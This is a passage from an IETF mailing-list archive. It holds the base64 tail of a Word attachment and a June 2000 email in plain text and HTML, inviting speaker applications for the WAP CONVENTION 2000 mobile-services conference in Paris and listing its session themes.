AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAA
AA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAA/v///xYAAAAXAAAAGAAAABkAAAAaAAAA
GwAAABwAAAAdAAAA/v///x8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAD+////JwAAACgAAAAp
AAAAKgAAACsAAAAsAAAALQAAAP7////9////MAAAAP7////+/////v//////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAEDenzD9
2b8BwAVPd13cvwEyAAAAgAAAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAP///////////////wAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAAACkEAAAAAAAAFcAbwByAGQARABvAGMAdQBtAGUA
bgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBBQAAAP//////
////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIoAAAAAAAABQBTAHUA
bQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ACgAAgECAAAABAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAAAA
ABAAAAAAAAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABp
AG8AbgAAAAAAAAAAAAAAOAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAACYAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIBAQAAAAYAAAD/////AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoAAAAAAAAATwBiAGoAZQBjAHQAUABvAG8AbAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAQD/////////////
//8AAAAAAAAAAAAAAAAAAAAAAAAAAMAFT3dd3L8BwAVPd13cvwEAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAEAAAD+////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARhgAAABEb2N1bWVudCBNaWNyb3NvZnQg
V29yZAAKAAAATVNXb3JkRG9jABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA=

------=_NextPart_000_0545_01BFE28C.AEA65B60--



From owner-ietf-outbound  Fri Jun 30 06:26:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA12287
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 06:26:39 -0400 (EDT)
Received: from mail.sollea.com ([195.154.125.13])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA12131
	for <ietf@ietf.org>; Fri, 30 Jun 2000 06:09:06 -0400 (EDT)
Received: from oemcomputer [193.251.41.249] by mail.sollea.com
  (SMTPD32-6.00) id ADEF591501A6; Fri, 30 Jun 2000 13:01:03 +0200
Message-ID: <057401bfe27c$53495480$0a00000a@oemcomputer>
From: "Rosie Drugeault" <rosie@ptolemee.com>
To: <ietf@ietf.org>
Subject: Speakers - WAP CONVENTION - The European Event
Date: Fri, 30 Jun 2000 12:14:04 +0200
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0545_01BFE28C.AEA65B60"
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0545_01BFE28C.AEA65B60
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0546_01BFE28C.AEA65B60"


------=_NextPart_001_0546_01BFE28C.AEA65B60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

We are currently inviting Speaker applications for:

=20
WAP CONVENTION 2000
- Mobile Services -

The European Event has been scheduled for:

21 + 22 November, 2000
Cit=E9 des Sciences et de l'Industrie
PARIS
=20
The current Mobile Internet market explosion is without comparison.=20
Widespread use of the TV set took over 20 years to develop, computers =
took 10 years, and mobile phone use developed in just a few months. The =
place for Mobile Internet in the daily lives of every one of us is =
becoming increasingly important. =20
The mobile revolution is happening now.=20
=20
Join the key European and International players. Take the stage at WAP =
CONVENTION 2000.=20
Conference themes are attached, and also included at the end of this =
mail.=20
=20
To apply for a Speaker position, or for further information about the =
WAP CONVENTION 2000 Exhibition and Sponsor programs, please =
contact.......
=20
Rosie Drugeault
Conference Manager
Dir Tel: +33 1 43 14 49 64
rosie@ptolemee.com
=20
Emmanuel Parrou
Exhibition Sales Manager
Direct Tel: +33 1 47 70 45 82
parrou@ptolemee.com
=20
WAP CONVENTION is created by Ptol=E9m=E9e, the organisers of NARROWCAST. =


****************
WAP CONVENTION 2000 - CONFERENCE THEMES
=20
DAY 1


Conference Room 1 :

10:30am =96 12:00 midday

Mobile Internet and the Law=20

The deployment of Mobile terminals (Smart phone, e-book, PDA, radio, =
game consoles etc) poses new legal questions. The protection of personal =
information, content ownership, distribution rights=85..=20

Can an analogy be made with the jurisprudence of the Internet ?=20

2:00pm =96 3:30pm

MAd : " Mobile Advertising "

Mobile Internet and WAP are encouraging new forms of expression for =
advertisers. What methods can be used for mobile advertising ? From =
customised messages to 1-to-1 marketing, which method is adapted to =
which terminal ?

4:00pm =96 5:30pm

M-Marketing=20

Marketing is adopting Mobile Internet. What are the emerging trends ? =
What are the new opportunities made available to marketers by the =
development of Mobile Internet ?

=20

Conference Room 2 :

10:30am =96 12:00 midday

WAP is dead, hooray for WAP !=20

The arrival of WAP on mobile telephones is just the very first step of a =
major technological tidal wave. GPRS, followed by UMTS, will then serve =
to amplify and improve access to the multitude of services proposed. =
Future prospects.

2:00pm =96 3:30pm

The Mobile Internet Market=20

The market is developing at a frenetic pace. What are the principal =
elements and who are the actors ? Are we heading towards a " player war =
", similar to the war already seen between browsers ? What are the =
consequences?

4:00pm =96 5:30pm

Mobile Internet : the New Kids on the Block.=20

Six innovative start-ups present their companies.

Day 2

Conference Room 1 :

10:30am =96 12:00 midday=20

The Multi-Access Portal=20

Each terminal (PDA, Smart phone, computer, television, radio, game =
console=85) has its own specifications. The user can now create his own =
menu according to content needs, location, and time available. Which =
content to cater for specific needs ? Which services for which terminals =
?

2:00pm =96 3:30pm

Value-added Services for Mobile Terminals=20

The deployment of Mobile Internet and the development of broadband =
allows the distribution of new content. Which services should be =
proposed to professionals and the general public ? Packages and pricing.

4:00pm =96 5:30pm

M-Business=20

A step forward from e-business, M-business is developing at the rapid =
rate of the evolution of terminals. What applications are currently in =
use ? Trends and prospects.

=20

Conference Room 2 :

10:30am =96 12:00 midday=20

New Content and Mobile Terminals=20

With the arrival of GPRS and then UMTS, " rich media " will take over =
mobile terminals. What is the content of tomorrow ? Who are the new =
producers and distributors ?=20

2:00pm =96 3:30pm

Corporate Portal=20

>From ASP offers to " knowledge management ", the corporate portal is the =
marketplace for business information. Will the multiplication of mobile =
terminals and corporate portals finally set the scene for the =
development of the " mobile offfice " ?

4:00pm =96 5:30pm

Virtual Communities and Mobile " Tribes "=20

How is a mobile virtual community developed ? What are the existing =
applications ? How to pass from a " fixed community " to a " mobile =
community ".=20

***********************************




------=_NextPart_001_0546_01BFE28C.AEA65B60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN">
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>We are currently inviting Speaker =
applications=20
for:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><BR>&nbsp;</DIV></FONT><FONT =
face=3DArial size=3D2>
<DIV>
<DIV align=3Dcenter>
<DIV align=3Dcenter><FONT color=3D#000000 face=3D"" =
size=3D5><STRONG><FONT=20
face=3DArial>WAP CONVENTION 2000</FONT></STRONG></FONT></DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D2><STRONG>- Mobile=20
Services -</STRONG></FONT></DIV></DIV>
<DIV align=3Dcenter>&nbsp;</DIV>
<DIV align=3Dcenter>The European Event has been scheduled for:</DIV>
<DIV align=3Dcenter>&nbsp;</DIV>
<DIV align=3Dcenter><STRONG><FONT color=3D#000000 face=3DArial =
size=3D4>21 + 22=20
<STRONG><FONT color=3D#000000 face=3DArial =
size=3D4>November</FONT></STRONG>,=20
2000</FONT></STRONG><FONT face=3DArial></FONT></DIV>
<DIV align=3Dcenter><FONT size=3D2><FONT face=3DArial>Cit&eacute; des =
Sciences et de=20
l'Industrie</FONT></FONT></DIV>
<DIV align=3Dcenter><STRONG><FONT face=3DArial =
size=3D4>PARIS</FONT></STRONG></DIV>
<DIV align=3Dcenter><STRONG><FONT face=3DArial =
size=3D4></FONT></STRONG><FONT=20
color=3D#000000 face=3DArial size=3D3></FONT>&nbsp;</DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial size=3D3>The =
current Mobile=20
Internet market explosion is without comparison. </FONT></DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D3>Widespread use of the TV=20
set took over 20 years to develop, computers took 10 years, and mobile =
phone use=20
developed in just a few months. The place for Mobile Internet in the =
daily lives=20
of every one of us is becoming increasingly important.&nbsp; =
</FONT></DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial size=3D3>The =
mobile revolution is=20
happening now. </FONT></DIV></FONT>
<DIV align=3Dcenter><FONT size=3D2>
<DIV align=3Dleft><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV align=3Dleft><FONT size=3D2>Join the key European and International =
players.=20
Take the stage at WAP CONVENTION 2000. </FONT></DIV>
<DIV align=3Dleft><FONT size=3D2>Conference themes are attached, and =
also included=20
at the end of this mail. </FONT></DIV>
<DIV align=3Dleft><FONT size=3D2></FONT></FONT>&nbsp;</DIV></DIV></DIV>
<DIV><FONT size=3D2>To apply for a Speaker position, or for further =
information=20
about the WAP CONVENTION 2000 Exhibition and Sponsor programs, please=20
contact.......</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV>
<DIV><FONT color=3D#000000 face=3D""><FONT size=3D2><FONT =
face=3DArial>Rosie=20
Drugeault</FONT></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D""><FONT size=3D2><FONT=20
face=3DArial></FONT></FONT></FONT><FONT size=3D2>Conference =
Manager</FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2>Dir Tel: +33 1 43 14 49=20
64</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2><A=20
href=3D"mailto:rosie@ptolemee.com">rosie@ptolemee.com</A></FONT></FONT></=
DIV>
<DIV><FONT face=3DArial><FONT size=3D2></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial><FONT size=3D2>Emmanuel =
Parrou</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2>Exhibition Sales =
Manager</FONT></FONT><FONT=20
size=3D2><FONT size=3D2><FONT size=3D2><FONT size=3D2></DIV>
<DIV>
<DIV>
<DIV><FONT size=3D2>Direct Tel: +33 1 47 70 45 82</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"mailto:parrou@ptolemee.com">parrou@ptolemee.com</A></FONT></DIV>
<DIV><FONT size=3D2></FONT></FONT></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>WAP CONVENTION is created by Ptol&eacute;m&eacute;e, =
the=20
organisers of NARROWCAST.&nbsp;</FONT></DIV></DIV></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D5><FONT=20
size=3D2>****************<BR></FONT><STRONG><FONT color=3D#000000 =
face=3DArial=20
size=3D4>WAP CONVENTION 2000 - CONFERENCE =
THEMES</FONT></STRONG></FONT></DIV>
<DIV><FONT face=3DArial size=3D5><STRONG><FONT color=3D#000000 =
face=3DArial=20
size=3D4></FONT></FONT><FONT color=3D#000000><FONT face=3DArial><FONT=20
size=3D2></FONT></FONT></FONT></STRONG>&nbsp;</DIV>
<DIV><FONT size=3D4><U><FONT face=3DArial size=3D4>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>DAY =
1</STRONG></FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial=20
size=3D3><STRONG></STRONG></FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial =
size=3D3><STRONG>Conference Room 1=20
:</STRONG></FONT></P></U>
<P><FONT size=3D3><FONT face=3DArial><FONT =
color=3D#000000><STRONG>10:30am &ndash;=20
12:00</FONT></FONT></FONT><FONT color=3D#000000><FONT face=3DArial><FONT =
size=3D3>=20
midday</FONT></FONT></FONT></STRONG></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Mobile Internet =
and the Law=20
</STRONG></FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial size=3D3>The =
deployment of Mobile=20
terminals (Smart phone, e-book, PDA, radio, game consoles etc) poses new =
legal=20
questions. The protection of personal information, content ownership,=20
distribution rights&hellip;.. </FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial size=3D3>Can an =
analogy be made=20
with the jurisprudence of the Internet ? </FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>MAd : &quot; =
Mobile Advertising=20
&quot;</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Mobile Internet and WAP =
are encouraging=20
new forms of expression for advertisers. What methods can be used for =
mobile=20
advertising ? From customised messages to 1-to-1 marketing, which method =
is=20
adapted to which terminal ?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>4:00pm &ndash;=20
5:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>M-Marketing=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Marketing is adopting =
Mobile Internet.=20
What are the emerging trends ? What are the new opportunities made =
available to=20
marketers by the development of Mobile Internet ?</FONT></P><U>
<P><FONT color=3D#000000 face=3DArial size=3D3></FONT>&nbsp;</P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Conference Room 2 =

:</STRONG></FONT></P></U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>10:30am &ndash; =
12:00=20
midday</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>WAP is dead, =
hooray for WAP !=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>The arrival of WAP on =
mobile telephones=20
is just the very first step of a major technological tidal wave. GPRS, =
followed=20
by UMTS, will then serve to amplify and improve access to the multitude =
of=20
services proposed. Future prospects.</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>The Mobile =
Internet Market=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>The market is developing =
at a frenetic=20
pace. What are the principal elements and who are the actors ? Are we =
heading=20
towards a &quot; player war &quot;, similar to the war already seen =
between=20
browsers ? What are the consequences?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>4:00pm &ndash;=20
5:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Mobile Internet : =
the New Kids=20
on the Block. </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Six innovative start-ups =
present their=20
companies.</FONT></P><U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Day =
2</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Conference Room 1 =

:</STRONG></FONT></P></U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>10:30am &ndash; =
12:00 midday=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><FONT color=3D#000000 =
face=3DArial=20
size=3D3><STRONG>The Multi-Access Portal </STRONG></FONT></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Each terminal (PDA, Smart =
phone,=20
computer, television, radio, game console&hellip;) has its own =
specifications.=20
The user can now create his own menu according to content needs, =
location, and=20
time available. Which content to cater for specific needs ? Which =
services for=20
which terminals ?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Value-added =
Services for Mobile=20
Terminals </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>The deployment of Mobile =
Internet and=20
the development of broadband allows the distribution of new content. =
Which=20
services should be proposed to professionals and the general public ? =
Packages=20
and pricing.</FONT></P>
<P><STRONG><FONT color=3D#000000 face=3DArial size=3D3>4:00pm &ndash;=20
5:30pm</FONT></STRONG></P>
<P><STRONG><FONT color=3D#000000 face=3DArial size=3D3>M-Business =
</FONT></STRONG></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>A step forward from =
e-business,=20
M-business is developing at the rapid rate of the evolution of =
terminals. What=20
applications are currently in use ? Trends and prospects.</FONT></P><U>
<P><FONT color=3D#000000 face=3DArial size=3D3></FONT>&nbsp;</P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Conference Room 2 =

:</STRONG></FONT></P></U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>10:30am &ndash; =
12:00 midday=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>New Content and =
Mobile=20
Terminals </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>With the arrival of GPRS =
and then UMTS,=20
&quot; rich media &quot; will take over mobile terminals. What is the =
content of=20
